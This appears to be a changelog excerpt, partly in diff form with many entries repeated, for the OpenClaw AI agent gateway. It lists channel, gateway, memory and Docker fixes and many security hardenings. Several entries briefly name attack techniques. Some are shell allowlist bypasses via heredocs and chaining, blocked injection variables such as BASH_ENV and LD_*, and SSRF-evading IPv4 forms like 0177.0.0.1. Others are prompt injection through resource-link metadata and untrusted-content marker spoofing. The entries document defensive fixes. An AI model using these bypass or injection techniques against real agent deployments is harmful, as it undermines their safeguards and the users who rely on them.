- Dependencies/Unused Dependencies: remove or scope unused root and extension deps (`@larksuiteoapi/node-sdk`, `signal-utils`, `ollama`, `lit`, `@lit/context`, `@lit-labs/signals`, `@microsoft/agents-hosting-express`, `@microsoft/agents-hosting-extensions-teams`, and plugin-local `openclaw` devDeps in `extensions/open-prose`, `extensions/lobster`, and `extensions/llm-task`). (#22471, #22495) Thanks @vincentkoc.
- Dependencies/A2UI: harden dependency resolution after root cleanup (resolve `lit`, `@lit/context`, `@lit-labs/signals`, and `signal-utils` from workspace/root) and simplify bundling fallback behavior, including `pnpm dlx rolldown` compatibility. (#22481, #22507) Thanks @vincentkoc.
### Fixes
- Security/Agents: cap embedded Pi runner outer retry loop with a higher profile-aware dynamic limit (32-160 attempts) and return an explicit `retry_limit` error payload when retries never converge, preventing unbounded internal retry cycles (`GHSA-76m6-pj3w-v7mf`).
- Telegram: detect duplicate bot-token ownership across Telegram accounts at startup/status time, mark secondary accounts as not configured with an explicit fix message, and block duplicate account startup before polling to avoid endless `getUpdates` conflict loops.
- Agents/Tool images: include source filenames in `agents/tool-images` resize logs so compression events can be traced back to specific files.
- Providers/OAuth: harden Qwen and Chutes refresh handling by validating refresh response expiry values and preserving prior refresh tokens when providers return empty refresh token fields, with regression coverage for empty-token responses.
- Models/Kimi-Coding: add missing implicit provider template for `kimi-coding` with correct `anthropic-messages` API type and base URL, fixing 403 errors when using Kimi for Coding. (#22409)
- Auto-reply/Tools: forward `senderIsOwner` through embedded queued/followup runner params so owner-only tools remain available for authorized senders. (#22296) thanks @hcoj.
- Agents/Subagents: restore announce-chain delivery to agent injection, defer nested announce output until descendant follow-up content is ready, and prevent descendant deferrals from consuming announce retry budget so deep chains do not drop final completions. (#22223) Thanks @tyler6204.
- Gateway/Auth: require `gateway.trustedProxies` to include a loopback proxy address when `auth.mode="trusted-proxy"` and `bind="loopback"`, preventing same-host proxy misconfiguration from silently blocking auth. (#22082, follow-up to #20097) thanks @mbelinky.
- Security/OpenClawKit/UI: prevent injected inbound user context metadata blocks from leaking into chat history in TUI, webchat, and macOS surfaces by stripping all untrusted metadata prefixes at display boundaries. (#22142) Thanks @Mellowambience, @vincentkoc.
- Security/OpenClawKit/UI: strip inbound metadata blocks from user messages in TUI rendering while preserving user-authored content. (#22345) Thanks @kansodata, @vincentkoc.
- Security/OpenClawKit/UI: prevent inbound metadata leaks and reply-tag streaming artifacts in TUI rendering by stripping untrusted metadata prefixes at display boundaries. (#22346) Thanks @akramcodez, @vincentkoc.
- Agents/System Prompt: label allowlisted senders as authorized senders to avoid implying ownership. Thanks @thewilloftheshadow.
- Agents/Tool display: fix exec cwd suffix inference so `pushd ... && popd ... && <command>` does not keep stale `(in <dir>)` context in summaries. (#21925) Thanks @Lukavyi.
- Discord: restore model picker back navigation when a provider is missing and document the Discord picker flow. (#21458) Thanks @pejmanjohn and @thewilloftheshadow.
- Gateway/Auth: allow trusted-proxy mode with loopback bind for same-host reverse-proxy deployments, while still requiring configured `gateway.trustedProxies`. (#20097) thanks @xinhuagu.
- Gateway/Auth: allow authenticated clients across roles/scopes to call `health` while preserving role and scope enforcement for non-health methods. (#19699) thanks @Nachx639.
- Gateway/Security: remove shared-IP fallback for canvas endpoints and require token or session capability for canvas access. Thanks @thewilloftheshadow.
- Gateway/Hooks: include transform export name in hook-transform cache keys so distinct exports from the same module do not reuse the wrong cached transform function. (#13855) thanks @mcaxtr.
- Gateway/Control UI: return 404 for missing static-asset paths instead of serving SPA fallback HTML, while preserving client-route fallback behavior for extensionless and non-asset dotted paths. (#12060) thanks @mcaxtr.
- Gateway/Pairing: prevent device-token rotate scope escalation by enforcing an approved-scope baseline, preserving approved scopes across metadata updates, and rejecting rotate requests that exceed approved role scope implications. (#20703) thanks @coygeek.
- Gateway/Security: require secure context and paired-device checks for Control UI auth even when `gateway.controlUi.allowInsecureAuth` is set, and align audit messaging with the hardened behavior. (#20684) thanks @coygeek.
- Security/Agents: restrict local MEDIA tool attachments to core tools and the OpenClaw temp root to prevent untrusted MCP tool file exfiltration. Thanks @NucleiAv and @thewilloftheshadow.
- macOS/Build: default release packaging to `BUNDLE_ID=ai.openclaw.mac` in `scripts/package-mac-dist.sh`, so Sparkle feed URL is retained and auto-update no longer fails with an empty appcast feed. (#19750) thanks @loganprit.
- Gateway/Pairing: clear persisted paired-device state when the gateway client closes with `device token mismatch` (`1008`) so reconnect flows can cleanly re-enter pairing. (#22071) Thanks @mbelinky.
- Memory/QMD: respect per-agent `memorySearch.enabled=false` during gateway QMD startup initialization, split multi-collection QMD searches into per-collection queries (`search`/`vsearch`/`query`) to avoid sparse-term drops, prefer collection-hinted doc resolution to avoid stale-hash collisions, retry boot updates on transient lock/timeout failures, skip `qmd embed` in BM25-only `search` mode (including `memory index --force`), and serialize embed runs globally with failure backoff to prevent CPU storms on multi-agent hosts. (#20581, #21590, #20513, #20001, #21266, #21583, #20346, #19493) Thanks @danielrevivo, @zanderkrause, @sunyan034-cmd, @tilleulenspiegel, @dae-oss, @adamlongcreativellc, @jonathanadams96, and @kiliansitel.
- Memory/Builtin: prevent automatic sync races with manager shutdown by skipping post-close sync starts and waiting for in-flight sync before closing SQLite, so `onSearch`/`onSessionStart` no longer fail with `database is not open` in ephemeral CLI flows. (#20556, #7464) Thanks @FuzzyTG and @henrybottter.
- Hooks/Session memory: trigger bundled `session-memory` persistence on both `/new` and `/reset` so reset flows no longer skip markdown transcript capture before archival. (#21382) Thanks @mofesolapaul.
- Signal/Outbound: preserve case for Base64 group IDs during outbound target normalization so cross-context routing and policy checks no longer break when group IDs include uppercase characters. (#5578) Thanks @heyhudson.
- Providers/Copilot: drop persisted assistant `thinking` blocks for Claude models (while preserving turn structure/tool blocks) so follow-up requests no longer fail on invalid `thinkingSignature` payloads. (#19459) Thanks @jackheuberger.
- Providers/Copilot: add `claude-sonnet-4.6` and `claude-sonnet-4.5` to the default GitHub Copilot model catalog and add coverage for model-list/definition helpers. (#20270, fixes #20091) Thanks @Clawborn.
- Dependencies/Agents: bump embedded Pi SDK packages (`@mariozechner/pi-agent-core`, `@mariozechner/pi-ai`, `@mariozechner/pi-coding-agent`, `@mariozechner/pi-tui`) to `0.54.0`. (#21578) Thanks @Takhoffman.
- Gateway/Config: allow `gateway.customBindHost` in strict config validation when `gateway.bind="custom"` so valid custom bind-host configurations no longer fail startup. (#20318, fixes #20289) Thanks @MisterGuy420.
- Config/Agents: expose Pi compaction tuning values `agents.defaults.compaction.reserveTokens` and `agents.defaults.compaction.keepRecentTokens` in config schema/types and apply them in embedded Pi runner settings overrides with floor enforcement via `reserveTokensFloor`. (#21568) Thanks @Takhoffman.
- Auto-reply/WebChat: avoid defaulting inbound runtime channel labels to unrelated providers (for example `whatsapp`) for webchat sessions so channel-specific formatting guidance stays accurate. (#21534) Thanks @lbo728.
- Status: include persisted `cacheRead`/`cacheWrite` in session summaries so compact `/status` output consistently shows cache hit percentages from real session data.
- Heartbeat/Cron: restore interval heartbeat behavior so missing `HEARTBEAT.md` no longer suppresses runs (only effectively empty files skip), preserving prompt-driven and tagged-cron execution paths.
- WhatsApp/Cron/Heartbeat: enforce allowlisted routing for implicit scheduled/system delivery by merging pairing-store + configured `allowFrom` recipients, selecting authorized recipients when last-route context points to a non-allowlisted chat, and preventing heartbeat fan-out to recent unauthorized chats.
- Heartbeat/Active hours: constrain active-hours `24` sentinel parsing to `24:00` in time validation so invalid values like `24:30` are rejected early. (#21410) thanks @adhitShet.
- Heartbeat: treat `activeHours` windows with identical `start`/`end` times as zero-width (always outside the window) instead of always-active. (#21408) thanks @adhitShet.
- Gateway/Pairing: tolerate legacy paired devices missing `roles`/`scopes` metadata in websocket upgrade checks and backfill metadata on reconnect. (#21447, fixes #21236) Thanks @joshavant.
- Gateway/Pairing/CLI: align read-scope compatibility in pairing/device-token checks and add local `openclaw devices` fallback recovery for loopback `pairing required` deadlocks, with explicit fallback notice to unblock approval bootstrap flows. (#21616) Thanks @shakkernerd.
- CLI/Pairing: default `pairing list` and `pairing approve` to the sole available pairing channel when omitted, so TUI-only setups can recover from `pairing required` without guessing channel arguments. (#21527) Thanks @losts1.
- TUI/Pairing: show explicit pairing-required recovery guidance after gateway disconnects that return `pairing required`, including approval steps to unblock quickstart TUI hatching on fresh installs. (#21841) Thanks @nicolinux.
- TUI/Input: suppress duplicate backspace events arriving in the same input burst window so SSH sessions no longer delete two characters per backspace press in the composer. (#19318) Thanks @eheimer.
- TUI/Models: scope `models.list` to the configured model allowlist (`agents.defaults.models`) so `/model` picker no longer floods with unrelated catalog entries by default. (#18816) Thanks @fwends.
- TUI/Heartbeat: suppress heartbeat ACK/prompt noise in chat streaming when `showOk` is disabled, while still preserving non-ACK heartbeat alerts in final output. (#20228) Thanks @bhalliburton.
- TUI/History: cap chat-log component growth and prune stale render nodes/references so large default history loads no longer overflow render recursion with `RangeError: Maximum call stack size exceeded`. (#18068) Thanks @JaniJegoroff.
- Memory/QMD: diversify mixed-source search ranking when both session and memory collections are present so session transcript hits no longer crowd out durable memory-file matches in top results. (#19913) Thanks @alextempr.
- Memory/Tools: return explicit `unavailable` warnings/actions from `memory_search` when embedding/provider failures occur (including quota exhaustion), so disabled memory does not look like an empty recall result. (#21894) Thanks @XBS9.
- Session/Startup: require the `/new` and `/reset` greeting path to run Session Startup file-reading instructions before responding, so daily memory startup context is not skipped on fresh-session greetings. (#22338) Thanks @armstrong-pv.
- Auth/Onboarding: align OAuth profile-id config mapping with stored credential IDs for OpenAI Codex and Chutes flows, preventing `provider:default` mismatches when OAuth returns email-scoped credentials. (#12692) thanks @mudrii.
- Docker: pin base images to SHA256 digests in Docker builds to prevent mutable tag drift. (#7734) Thanks @coygeek.
- Docker/Security: run E2E and install-sh test images as non-root by adding appuser directives. Thanks @thewilloftheshadow.
- Docker: run build steps as the `node` user and use `COPY --chown` to avoid recursive ownership changes, trimming image size and layer churn. Thanks @huntharo.
- Provider/HTTP: treat HTTP 503 as failover-eligible for LLM provider errors. (#21086) Thanks @Protocol-zero-0.
- Anthropic/Agents: preserve required pi-ai default OAuth beta headers when `context1m` injects `anthropic-beta`, preventing 401 auth failures for `sk-ant-oat-*` tokens. (#19789, fixes #19769) Thanks @minupla.
- Slack: pass `recipient_team_id` / `recipient_user_id` through Slack native streaming calls so `chat.startStream`/`appendStream`/`stopStream` work reliably across DMs and Slack Connect setups, and disable block streaming when native streaming is active. (#20988) Thanks @Dithilli. Earlier recipient-ID groundwork was contributed in #20377 by @AsserAl1012.
- CLI/Config: add canonical `--strict-json` parsing for `config set` and keep `--json` as a legacy alias to reduce help/behavior drift. (#21332) thanks @adhitShet.
- CLI: keep `openclaw -v` as a root-only version alias so subcommand `-v, --verbose` flags (for example ACP/hooks/skills) are no longer intercepted globally. (#21303) thanks @adhitShet.
- Config/Memory: restore schema help/label metadata for hybrid `mmr` and `temporalDecay` settings so configuration surfaces show correct names and guidance. (#18786) Thanks @rodrigouroz.
- Memory: return empty snippets when `memory_get`/QMD read files that have not been created yet, and harden memory indexing/session helpers against ENOENT races so missing Markdown no longer crashes tools. (#20680) Thanks @pahdo.
- Tools/web_search: handle xAI Responses API payloads that emit top-level `output_text` blocks (without a `message` wrapper) so Grok web_search no longer returns `No response` for those results. (#20508) Thanks @echoVic.
- Telegram/Streaming: always clean up draft previews even when dispatch throws before fallback handling, preventing orphaned preview messages during failed runs. (#19041) thanks @mudrii.
- Telegram/Streaming: split reasoning and answer draft preview lanes to prevent cross-lane overwrites, and ignore literal `<think>` tags inside inline/fenced code snippets so sample markup is not misrouted as reasoning. (#20774) Thanks @obviyus.
- Telegram/Streaming: restore 30-char first-preview debounce and scope `NO_REPLY` prefix suppression to partial sentinel fragments so normal `No...` text is not filtered. (#22613) thanks @obviyus.
- Telegram/Status reactions: refresh stall timers on repeated phase updates and honor ack-reaction scope when lifecycle reactions are enabled, preventing false stall emojis and unwanted group reactions. Thanks @wolly-tundracube and @thewilloftheshadow.
- Telegram/Status reactions: keep lifecycle reactions active when available-reactions lookup fails by falling back to unrestricted variant selection instead of suppressing reaction updates. (#22380) thanks @obviyus.
- Discord/Events: await `DiscordMessageListener` message handlers so regular `MESSAGE_CREATE` traffic is processed through queue ordering/timeout flow instead of fire-and-forget drops. (#22396) Thanks @sIlENtbuffER.
- Discord/Streaming: apply `replyToMode: first` only to the first Discord chunk so block-streamed replies do not spam mention pings. (#20726) Thanks @thewilloftheshadow for the report.
- Discord/Components: map DM channel targets back to user-scoped component sessions so button/select interactions stay in the main DM session. Thanks @thewilloftheshadow.
- Discord/Allowlist: lazy-load guild lists when resolving Discord user allowlists so ID-only entries resolve even if guild fetch fails. (#20208) Thanks @zhangjunmengyang.
- Discord/Gateway: handle close code 4014 (missing privileged gateway intents) without crashing the gateway. Thanks @thewilloftheshadow.
- Discord: ingest inbound stickers as media so sticker-only messages and forwarded stickers are visible to agents. Thanks @thewilloftheshadow.
- Security/Net: strip sensitive headers (`Authorization`, `Proxy-Authorization`, `Cookie`, `Cookie2`) on cross-origin redirects in `fetchWithSsrFGuard` to prevent credential forwarding across origin boundaries. (#20313) Thanks @afurm.
- Security/Systemd: reject CR/LF in systemd unit environment values and fix argument escaping so generated units cannot be injected with extra directives. Thanks @thewilloftheshadow.
- Security/Tools: add per-wrapper random IDs to untrusted-content markers from `wrapExternalContent`/`wrapWebContent`, preventing marker spoofing from escaping content boundaries. (#19009) Thanks @Whoaa512.
- Skills/Security: sanitize skill env overrides to block unsafe runtime injection variables and only allow sensitive keys when declared in skill metadata, with warnings for suspicious values. Thanks @thewilloftheshadow.
- Skills/SonosCLI: add troubleshooting guidance for `sonos discover` failures on macOS direct mode (`sendto: no route to host`) and sandbox network restrictions (`bind: operation not permitted`). (#21316) Thanks @huntharo.
- Auto-reply/Runner: emit `onAgentRunStart` only after agent lifecycle or tool activity begins (and only once per run), so fallback preflight errors no longer mark runs as started. (#21165) Thanks @shakkernerd.
- Agents/Failover: treat non-default override runs as direct fallback-to-configured-primary (skip configured fallback chain), normalize default-model detection for provider casing/whitespace, and add regression coverage for override/auth error paths. (#18820) Thanks @Glucksberg.
- Auto-reply/Tool results: serialize tool-result delivery and keep the delivery chain progressing after individual failures so concurrent tool outputs preserve user-visible ordering. (#21231) thanks @ahdernasr.
- Auto-reply/Prompt caching: restore prefix-cache stability by keeping inbound system metadata session-stable and moving per-message IDs (`message_id`, `message_id_full`, `reply_to_id`, `sender_id`) into untrusted conversation context. (#20597) Thanks @anisoptera.
- iOS/Security: force `https://` for non-loopback manual gateway hosts during iOS onboarding to block insecure remote transport URLs. (#21969) Thanks @mbelinky.
- Shared/Security: reject insecure deep links that use `ws://` non-loopback gateway URLs to prevent plaintext remote websocket configuration. (#21970) Thanks @mbelinky.
- macOS/Security: reject non-loopback `ws://` remote gateway URLs in macOS remote config to block insecure plaintext websocket endpoints. (#21971) Thanks @mbelinky.
- Browser/Security: block upload path symlink escapes so browser upload sources cannot traverse outside the allowed workspace via symlinked paths. (#21972) Thanks @mbelinky.
- iOS/Watch: add actionable watch approval/reject controls and quick-reply actions so watch-originated approvals and responses can be sent directly from notification flows. (#21996) Thanks @mbelinky.
- iOS/Watch: refresh iOS and watch app icon assets with the lobster icon set to keep phone/watch branding aligned. (#21997) Thanks @mbelinky.
- CLI/Onboarding: fix Anthropic-compatible custom provider verification by normalizing base URLs to avoid duplicate `/v1` paths during setup checks. (#21336) Thanks @17jmumford.
- iOS/Gateway/Tools: prefer uniquely connected node matches when duplicate display names exist, surface actionable `nodes invoke` pairing-required guidance with request IDs, and refresh active iOS gateway registration after location-capability setting changes so capability updates apply immediately. (#22120) thanks @mbelinky.
- Gateway/Auth: require `gateway.trustedProxies` to include a loopback proxy address when `auth.mode="trusted-proxy"` and `bind="loopback"`, preventing same-host proxy misconfiguration from silently blocking auth. (#22082, follow-up to #20097) thanks @mbelinky.
- Gateway/Auth: allow trusted-proxy mode with loopback bind for same-host reverse-proxy deployments, while still requiring configured `gateway.trustedProxies`. (#20097) thanks @xinhuagu.
- Gateway/Auth: allow authenticated clients across roles/scopes to call `health` while preserving role and scope enforcement for non-health methods. (#19699) thanks @Nachx639.
- Gateway/Hooks: include transform export name in hook-transform cache keys so distinct exports from the same module do not reuse the wrong cached transform function. (#13855) thanks @mcaxtr.
- Gateway/Control UI: return 404 for missing static-asset paths instead of serving SPA fallback HTML, while preserving client-route fallback behavior for extensionless and non-asset dotted paths. (#12060) thanks @mcaxtr.
- Gateway/Pairing: prevent device-token rotate scope escalation by enforcing an approved-scope baseline, preserving approved scopes across metadata updates, and rejecting rotate requests that exceed approved role scope implications. (#20703) thanks @coygeek.
- Gateway/Pairing: clear persisted paired-device state when the gateway client closes with `device token mismatch` (`1008`) so reconnect flows can cleanly re-enter pairing. (#22071) Thanks @mbelinky.
- Gateway/Config: allow `gateway.customBindHost` in strict config validation when `gateway.bind="custom"` so valid custom bind-host configurations no longer fail startup. (#20318, fixes #20289) Thanks @MisterGuy420.
- Gateway/Pairing: tolerate legacy paired devices missing `roles`/`scopes` metadata in websocket upgrade checks and backfill metadata on reconnect. (#21447, fixes #21236) Thanks @joshavant.
- Gateway/Pairing/CLI: align read-scope compatibility in pairing/device-token checks and add local `openclaw devices` fallback recovery for loopback `pairing required` deadlocks, with explicit fallback notice to unblock approval bootstrap flows. (#21616) Thanks @shakkernerd.
- Cron: honor `cron.maxConcurrentRuns` in the timer loop so due jobs can execute up to the configured parallelism instead of always running serially. (#11595) Thanks @Takhoffman.
- Agents/Compaction: restore embedded compaction safeguard/context-pruning extension loading in production by wiring bundled extension factories into the resource loader instead of runtime file-path resolution. (#22349) Thanks @Glucksberg.
- Agents/Subagents: restore announce-chain delivery to agent injection, defer nested announce output until descendant follow-up content is ready, and prevent descendant deferrals from consuming announce retry budget so deep chains do not drop final completions. (#22223) Thanks @tyler6204.
- Agents/System Prompt: label allowlisted senders as authorized senders to avoid implying ownership. Thanks @thewilloftheshadow.
- Agents/Tool display: fix exec cwd suffix inference so `pushd ... && popd ... && <command>` does not keep stale `(in <dir>)` context in summaries. (#21925) Thanks @Lukavyi.
- Agents/Google: flatten residual nested `anyOf`/`oneOf` unions in Gemini tool-schema cleanup so Cloud Code Assist no longer rejects unsupported union keywords that survive earlier simplification. (#22825) Thanks @Oceanswave.
- Tools/web_search: handle xAI Responses API payloads that emit top-level `output_text` blocks (without a `message` wrapper) so Grok web_search no longer returns `No response` for those results. (#20508) Thanks @echoVic.
- Agents/Failover: treat non-default override runs as direct fallback-to-configured-primary (skip configured fallback chain), normalize default-model detection for provider casing/whitespace, and add regression coverage for override/auth error paths. (#18820) Thanks @Glucksberg.
- Docker/Build: include `ownerDisplay` in `CommandsSchema` object-level defaults so Docker `pnpm build` no longer fails with `TS2769` during plugin SDK d.ts generation. (#22558) Thanks @obviyus.
- Docker/Browser: install Playwright Chromium into `/home/node/.cache/ms-playwright` and set `node:node` ownership so browser binaries are available to the runtime user in browser-enabled images. (#22585) thanks @obviyus.
- Hooks/Session memory: trigger bundled `session-memory` persistence on both `/new` and `/reset` so reset flows no longer skip markdown transcript capture before archival. (#21382) Thanks @mofesolapaul.
- Dependencies/Agents: bump embedded Pi SDK packages (`@mariozechner/pi-agent-core`, `@mariozechner/pi-ai`, `@mariozechner/pi-coding-agent`, `@mariozechner/pi-tui`) to `0.54.0`. (#21578) Thanks @Takhoffman.
- Config/Agents: expose Pi compaction tuning values `agents.defaults.compaction.reserveTokens` and `agents.defaults.compaction.keepRecentTokens` in config schema/types and apply them in embedded Pi runner settings overrides with floor enforcement via `reserveTokensFloor`. (#21568) Thanks @Takhoffman.
- Docker: pin base images to SHA256 digests in Docker builds to prevent mutable tag drift. (#7734) Thanks @coygeek.
- Docker: run build steps as the `node` user and use `COPY --chown` to avoid recursive ownership changes, trimming image size and layer churn. Thanks @huntharo.
- Config/Memory: restore schema help/label metadata for hybrid `mmr` and `temporalDecay` settings so configuration surfaces show correct names and guidance. (#18786) Thanks @rodrigouroz.
- Skills/SonosCLI: add troubleshooting guidance for `sonos discover` failures on macOS direct mode (`sendto: no route to host`) and sandbox network restrictions (`bind: operation not permitted`). (#21316) Thanks @huntharo.
- macOS/Build: default release packaging to `BUNDLE_ID=ai.openclaw.mac` in `scripts/package-mac-dist.sh`, so Sparkle feed URL is retained and auto-update no longer fails with an empty appcast feed. (#19750) thanks @loganprit.
- Signal/Outbound: preserve case for Base64 group IDs during outbound target normalization so cross-context routing and policy checks no longer break when group IDs include uppercase characters. (#5578) Thanks @heyhudson.
- Anthropic/Agents: preserve required pi-ai default OAuth beta headers when `context1m` injects `anthropic-beta`, preventing 401 auth failures for `sk-ant-oat-*` tokens. (#19789, fixes #19769) Thanks @minupla.
- Security/Exec: block unquoted heredoc body expansion tokens in shell allowlist analysis, reject unterminated heredocs, and require explicit approval for allowlisted heredoc execution on gateway hosts to prevent heredoc substitution allowlist bypass. Thanks @torturado for reporting.
- macOS/Security: evaluate `system.run` allowlists per shell segment in macOS node runtime and companion exec host (including chained shell operators), fail closed on shell/process substitution parsing, and require explicit approval on unsafe parse cases to prevent allowlist bypass via `rawCommand` chaining. Thanks @tdjackey for reporting.
- WhatsApp/Security: enforce allowlist JID authorization for reaction actions so authenticated callers cannot target non-allowlisted chats by forging `chatJid` + valid `messageId` pairs. Thanks @aether-ai-agent for reporting.
- ACP/Security: escape control and delimiter characters in ACP `resource_link` title/URI metadata before prompt interpolation to prevent metadata-driven prompt injection through resource links. Thanks @aether-ai-agent for reporting.
- TTS/Security: make model-driven provider switching opt-in by default (`messages.tts.modelOverrides.allowProvider=false` unless explicitly enabled), while keeping voice/style overrides available, to reduce prompt-injection-driven provider hops and unexpected TTS cost escalation. Thanks @aether-ai-agent for reporting.
- Security/Agents: keep overflow compaction retry budgeting global across tool-result truncation recovery so successful truncation cannot reset the overflow retry counter and amplify retry/cost cycles. Thanks @aether-ai-agent for reporting.
- BlueBubbles/Security: require webhook token authentication for all BlueBubbles webhook requests (including loopback/proxied setups), removing passwordless webhook fallback behavior. Thanks @zpbrent.
- iOS/Security: force `https://` for non-loopback manual gateway hosts during iOS onboarding to block insecure remote transport URLs. (#21969) Thanks @mbelinky.
- Gateway/Security: remove shared-IP fallback for canvas endpoints and require token or session capability for canvas access. Thanks @thewilloftheshadow.
- Gateway/Security: require secure context and paired-device checks for Control UI auth even when `gateway.controlUi.allowInsecureAuth` is set, and align audit messaging with the hardened behavior. (#20684) Thanks @coygeek and @Vasco0x4 for reporting.
- Gateway/Security: scope tokenless Tailscale forwarded-header auth to Control UI websocket auth only, so HTTP gateway routes still require token/password even on trusted hosts. Thanks @zpbrent for reporting.
- Docker/Security: run E2E and install-sh test images as non-root by adding appuser directives. Thanks @thewilloftheshadow.
- Skills/Security: sanitize skill env overrides to block unsafe runtime injection variables and only allow sensitive keys when declared in skill metadata, with warnings for suspicious values. Thanks @thewilloftheshadow.
- Security/Commands: block prototype-key injection in runtime `/debug` overrides and require own-property checks for gated command flags (`bash`, `config`, `debug`) so inherited prototype values cannot enable privileged commands. Thanks @tdjackey for reporting.
- Security/Browser: block non-network browser navigation protocols (including `file:`, `data:`, and `javascript:`) while preserving `about:blank`, preventing local file reads via browser tool navigation. Thanks @q1uf3ng for reporting.
- Security/Exec: block shell startup-file env injection (`BASH_ENV`, `ENV`, `BASH_FUNC_*`, `LD_*`, `DYLD_*`) across config env ingestion, node-host inherited environment sanitization, and macOS exec host runtime to prevent pre-command execution from attacker-controlled environment variables. Thanks @tdjackey.
- Security/Exec (Windows): canonicalize `cmd.exe /c` command text across validation, approval binding, and audit/event rendering to prevent trailing-argument approval mismatches in `system.run`. Thanks @tdjackey for reporting.
- Security/Gateway/Hooks: block `__proto__`, `constructor`, and `prototype` traversal in webhook template path resolution to prevent prototype-chain payload data leakage in `messageTemplate` rendering. (#22213) Thanks @SleuthCo.
- Security/OpenClawKit/UI: prevent injected inbound user context metadata blocks from leaking into chat history in TUI, webchat, and macOS surfaces by stripping all untrusted metadata prefixes at display boundaries. (#22142) Thanks @Mellowambience, @vincentkoc.
- Security/OpenClawKit/UI: strip inbound metadata blocks from user messages in TUI rendering while preserving user-authored content. (#22345) Thanks @kansodata, @vincentkoc.
- Security/OpenClawKit/UI: prevent inbound metadata leaks and reply-tag streaming artifacts in TUI rendering by stripping untrusted metadata prefixes at display boundaries. (#22346) Thanks @akramcodez, @vincentkoc.
- Security/Agents: restrict local MEDIA tool attachments to core tools and the OpenClaw temp root to prevent untrusted MCP tool file exfiltration. Thanks @NucleiAv and @thewilloftheshadow.
- Security/Net: strip sensitive headers (`Authorization`, `Proxy-Authorization`, `Cookie`, `Cookie2`) on cross-origin redirects in `fetchWithSsrFGuard` to prevent credential forwarding across origin boundaries. (#20313) Thanks @afurm.
- Security/Systemd: reject CR/LF in systemd unit environment values and fix argument escaping so generated units cannot be injected with extra directives. Thanks @thewilloftheshadow.
- Security/Tools: add per-wrapper random IDs to untrusted-content markers from `wrapExternalContent`/`wrapWebContent`, preventing marker spoofing from escaping content boundaries. (#19009) Thanks @Whoaa512.
- Shared/Security: reject insecure deep links that use `ws://` non-loopback gateway URLs to prevent plaintext remote websocket configuration. (#21970) Thanks @mbelinky.
- macOS/Security: reject non-loopback `ws://` remote gateway URLs in macOS remote config to block insecure plaintext websocket endpoints. (#21971) Thanks @mbelinky.
- Browser/Security: block upload path symlink escapes so browser upload sources cannot traverse outside the allowed workspace via symlinked paths. (#21972) Thanks @mbelinky.
- Security/Dependencies: bump transitive `hono` usage to `4.11.10` to incorporate timing-safe authentication comparison hardening for `basicAuth`/`bearerAuth` (`GHSA-gq3j-xvxp-8hrf`). Thanks @vincentkoc.
- Security/Gateway: parse `X-Forwarded-For` with trust-preserving semantics when requests come from configured trusted proxies, preventing proxy-chain spoofing from influencing client IP classification and rate-limit identity. Thanks @AnthonyDiSanti and @vincentkoc.
- iOS/Gateway/Tools: prefer uniquely connected node matches when duplicate display names exist, surface actionable `nodes invoke` pairing-required guidance with request IDs, and refresh active iOS gateway registration after location-capability setting changes so capability updates apply immediately. (#22120) thanks @mbelinky.
- Security/Sandbox: remove default `--no-sandbox` for the browser container entrypoint, add explicit opt-in via `OPENCLAW_BROWSER_NO_SANDBOX` / `CLAWDBOT_BROWSER_NO_SANDBOX`, and harden the default container security posture (`GHSA-43x4-g22p-3hrq`). Thanks @TerminalsandCoffee and @vincentkoc.
- Security/Sandbox: remove default `--no-sandbox` for the browser container entrypoint, add explicit opt-in via `OPENCLAW_BROWSER_NO_SANDBOX` / `CLAWDBOT_BROWSER_NO_SANDBOX`, and add security-audit checks for stale/missing sandbox browser Docker hash labels. Thanks @TerminalsandCoffee and @vincentkoc.
- Security/Sandbox Browser: require VNC password auth for noVNC observer sessions in the sandbox browser entrypoint, plumb per-container noVNC passwords from runtime, and emit short-lived noVNC observer token URLs while keeping loopback-only host port publishing. Thanks @TerminalsandCoffee for reporting.
- Security/Sandbox Browser: default browser sandbox containers to a dedicated Docker network (`openclaw-sandbox-browser`), add optional CDP ingress source-range restrictions, auto-create missing dedicated networks, and warn in `openclaw security --audit` when browser sandboxing runs on bridge without source-range limits. Thanks @TerminalsandCoffee for reporting.
## 2026.2.19
@@ -176,8 +250,8 @@ Docs: https://docs.openclaw.ai
- OTEL/diagnostics-otel: complete OpenTelemetry v2 API migration. (#12897) Thanks @vincentkoc.
- Cron/Webhooks: protect cron webhook POST delivery with SSRF-guarded outbound fetch (`fetchWithSsrFGuard`) to block private/metadata destinations before request dispatch. Thanks @Adam55A-code.
- Security/Voice Call: harden `voice-call` telephony TTS override merging by blocking unsafe deep-merge keys (`__proto__`, `prototype`, `constructor`) and add regression coverage for top-level and nested prototype-pollution payloads.
- Security/Windows Daemon: harden Scheduled Task `gateway.cmd` generation by quoting cmd metacharacter arguments, escaping `%`/`!` expansions, and rejecting CR/LF in arguments, descriptions, and environment assignments (`set "KEY=VALUE"`), preventing command injection in Windows daemon startup scripts. This ships in the next npm release. Thanks @tdjackey for reporting.
- Security/Gateway/Canvas: replace shared-IP fallback auth with node-scoped session capability URLs for `/__openclaw__/canvas/*` and `/__openclaw__/a2ui/*`, fail closed when trusted-proxy requests omit forwarded client headers, and add IPv6/proxy-header regression coverage. This ships in the next npm release. Thanks @aether-ai-agent for reporting.
- Security/Windows Daemon: harden Scheduled Task `gateway.cmd` generation by quoting cmd metacharacter arguments, escaping `%`/`!` expansions, and rejecting CR/LF in arguments, descriptions, and environment assignments (`set "KEY=VALUE"`), preventing command injection in Windows daemon startup scripts. Thanks @tdjackey for reporting.
- Security/Gateway/Canvas: replace shared-IP fallback auth with node-scoped session capability URLs for `/__openclaw__/canvas/*` and `/__openclaw__/a2ui/*`, fail closed when trusted-proxy requests omit forwarded client headers, and add IPv6/proxy-header regression coverage. Thanks @aether-ai-agent for reporting.
- Security/Net: enforce strict dotted-decimal IPv4 literals in SSRF checks and fail closed on unsupported legacy forms (octal/hex/short/packed, for example `0177.0.0.1`, `127.1`, `2130706433`) before DNS lookup.
- Security/Discord: enforce trusted-sender guild permission checks for moderation actions (`timeout`, `kick`, `ban`) and ignore untrusted `senderUserId` params to prevent privilege escalation in tool-driven flows. Thanks @aether-ai-agent for reporting.
- Security/ACP+Exec: add `openclaw acp --token-file/--password-file` secret-file support (with inline secret flag warnings), redact ACP working-directory prefixes to `~` home-relative paths, constrain exec script preflight file inspection to the effective `workdir` boundary, and add security-audit warnings when `tools.exec.host="sandbox"` is configured while sandbox mode is off.
@@ -205,9 +279,10 @@ Docs: https://docs.openclaw.ai
- Security/Media: harden local media ingestion against TOCTOU/symlink swap attacks by pinning reads to a single file descriptor with symlink rejection and inode/device verification in `saveMediaSource`. Thanks @dorjoos for reporting.
